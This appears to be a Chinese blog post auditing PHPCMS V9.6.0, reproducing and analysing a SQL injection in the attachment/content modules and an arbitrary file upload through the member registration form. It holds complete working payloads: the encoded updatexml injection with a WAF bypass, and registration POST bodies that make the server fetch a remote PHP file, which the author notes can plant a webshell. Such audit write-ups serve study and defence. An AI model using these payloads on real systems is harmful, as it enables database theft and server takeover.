PHPCMS V9.6.0 代码审计

PHPCMS V9.6.0 代码审计

PHPCMS预备知识

PHPCMS是采用MVC模式开发,基于模块和操作的方式进行访问,采用单一入口模式进行项目部署和访问,无论访问任何一个模块或者功能,只有一个统一的入口。

参数名称 描述 位置
m 模型/模块名称 phpcms/modules中模块目录名称
c 控制器名称 phpcms/modules/模块/*.php 文件名称
a 事件名称 phpcms/modules/模块/*.php 中方法名称

Clip_2024-06-10_14-12-54

目录结构

api		       	  		--接口文件目录
caches              	--网站缓存目录
html            		--存放网站的各种功能页面文件夹
install           		--网站安装目录
phpcms     				--网站框架主目录
phpsso_server       	--phpsso主目录
static          		--系统附属包
uploadfile		 		--存放网站上传目录
index.php         		--网站入口
admin.php				--后台管理入口
robots.txt				--搜索引擎蜘蛛限制配置文件

Clip_2024-06-10_13-36-35

Clip_2024-06-10_13-36-53

1、WAP模块存在SQL注入

1.1 复现

第一步,bp抓包,抓 /index.php?m=wap&c=index&siteid=1这个页面的包

Clip_2024-06-10_18-11-20

记录得到的set-Cookie:b74al3mS3jvKyZJ7pPeKT-a4WZzp9SCjuquSh4Gf

第二步,post请求访问下面的爆破注入语句(爆的是数据库库名)

构造payload:
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=%*27 and updatexml(1,concat(1,(database())),1)#&m=1&f=haha&modelid=2&catid=7&
讲payload进行url加密:
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28database%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26

post传参userid_flash​,其中的值就是第一步我们得到的set-cookie

Clip_2024-06-10_18-16-53

记录下加密后的json值

第三步,访问 /index.php?m=content&c=down&a_k=Json值

Clip_2024-06-10_18-18-49

成功爆出数据库

Clip_2024-06-10_18-19-10

1.2 分析

可以看出最后爆出的就是我们最后访问的数据,逆向分析一下:从/index.php?m=content&c=down&a_k=Json​分析得出是利用了content模块中的down文件,里面有一个init方法,这个方法里面写了用 $_GET['a_k'] ,并且加密密钥为pc_base::load_config('system','auth_key')

Clip_2024-06-10_18-24-19

继续分析这里发现就是一个简单的解密的函数,将传过来的a_k的值解密成特定的字符串,用parse_str函数给字符串以分割。之后将id传给get_one方法处理,这里id可以来自攻击者构造的恶意语句

解密之后的字符串:
{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(database())),1)#&m=1&f=haha&modelid
=2&catid=7&","filename":""}

Clip_2024-06-12_19-42-19

追到get_one方法发现这个方法又调用了sqls方法,sqls方法没有进行过滤直接进行的插入sql语句,之后执行sql语句

image

到这里回头分析第二步的poc

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=payload&m=1&f=haha&modelid=2&catid=7&

利用attachment模块中attachments文件的swfupload_json方法,这个方法有一个waf,将 %27​过滤了,所以用了 %*27​进行绕过,再下面引用了set_cookie方法

Clip_2024-06-13_19-44-21

Clip_2024-06-13_17-49-25

跟进到set_cookie方法,发现调用了sys_auth函数,也用了ENCODE解密,这里其实是可以直接可以看到的(到这里设置了cookie的值)

Clip_2024-06-13_18-21-05

Clip_2024-06-13_18-37-22

回到attachments里面继续分析,发现 __construct方法里面userid是个必要的值,并且后面进行了登录验证,如果没有这个userid就执行showmessage,所以就要提交一个post值。这里17行代码是进行了三目运算,我们没有userid执行的是表达式2——解码cookie值作为userid,里面又进行了一次三目运算,因为是没有userid的,所以执行表达式2——从post提交的userid_flash值进行解码当做userid。这里userid值为1,因为传入的值是加密后的1

Clip_2024-06-13_17-53-49

这个加密密文是怎么得到的呢,看回第一个poc/index.php?m=wap&c=index&siteid=1​,wap模块的index文件中对siteid​进行三目运算,是否设置了siteid且整数部分大于0,结果是True会执行第一个表达式,取参数十进制数字的整数部分(trim函数和intval函数)下面就调用set_cookie函数加密siteid,将加密的siteid作为cookie的值 (就是这里将cookie的值设为1的加密后的值)

Clip_2024-06-13_18-47-41

Clip_2024-06-13_18-49-37

Clip_2024-06-13_18-49-50

2、任意文件上传漏洞

2.1 复现

第一步,在注册页面抓包,能发现在生日的这一栏中的参数是info[birthday]​,猜想info里面可以替换成其他对应的值

Clip_2024-06-11_18-52-59

Clip_2024-06-11_18-55-03

第二步,在服务器上启用apache服务,写入一个phpinfo的php文件,这个文件一定要能被访问

Clip_2024-06-11_19-00-20

第三步,构建poc (注:构建poc时有几个注意点)

  • modelid取值(modelid取值有1,2,3,10,11,但是10不可以(info[content]需要调用editor函数,modelid为10不存在这个函数))
  • info[birthday]修改为info[content]
  • 每次发送数据包要修改username,password,email的值
siteid=1&modelid=11&username=13&password=131111&pwdconfirm=131111&email=131111%40163.com&nickname=13&info[content]=<img%20src=http://ip/phpinfo.txt?.php#.jpg>&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=

Clip_2024-06-11_19-04-21

成功上传,验证代码是否能被解析

Clip_2024-06-11_19-06-38

由此也能推出,可以直接上传一句话木马来达到拿shell的目的,修改payload

siteid=1&modelid=11&username=123&password=1231111&pwdconfirm=1231111&email=1231111%40163.com&nickname=13&info[content]=<img%20src=http://ip/ma.txt?.php#.jpg>&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=

Clip_2024-06-11_19-15-48

Clip_2024-06-11_19-16-03

2.2 分析

根据url分析,注册页面是在member​模块中实现的,分析后发现在register方法这里包含了caches中的两个文件并且存在 $_POST['info'] 传入了member_input类的get方法

Clip_2024-06-11_20-54-58

跟进后发现 \(data**数据来自上面的 **\)_POST['info'] ,并且可以调用该类的所有方法(47、48行代码)

Clip_2024-06-12_15-48-22

Clip_2024-06-12_15-50-08

最终发现可以调用该方法中的editor方法,这个方法中调用了attachment​中的download方法

Clip_2024-06-11_21-08-47

跟踪到attachment.php​找到download方法,分析发现\(ext默认参数是**​`gif|jpg|jpeg|bmp|png`​**​,下面将\)ext加进正则匹配中,为了对上传完后的文件执行过滤操作确保是图片类型文件,不过可以用 http://xxxx/1.php#a.jpg 绕过正则,之后经过fillurl方法处理。

Clip_2024-06-12_16-05-22

进入fillurl方法中,对图片地址进行一次处理,将 # ​后面的部分去掉,http://xxxx/1.php#a.jpg​变成了http://xxxx/1.php​(这里是用strpos函数,对surl内容匹配到第一次出现 # ​的地方并记录位置,后面用substr函数截断其后面的部分)

Clip_2024-06-12_16-10-56

Clip_2024-06-12_16-13-17

回到download方法后,用fileext方法进行命名后程序直接用copy函数将文件直接复制到本地

Clip_2024-06-12_16-25-03

Clip_2024-06-12_16-23-53

posted @ 2024-06-26 19:03  牢泠  阅读(100)  评论(0)    收藏  举报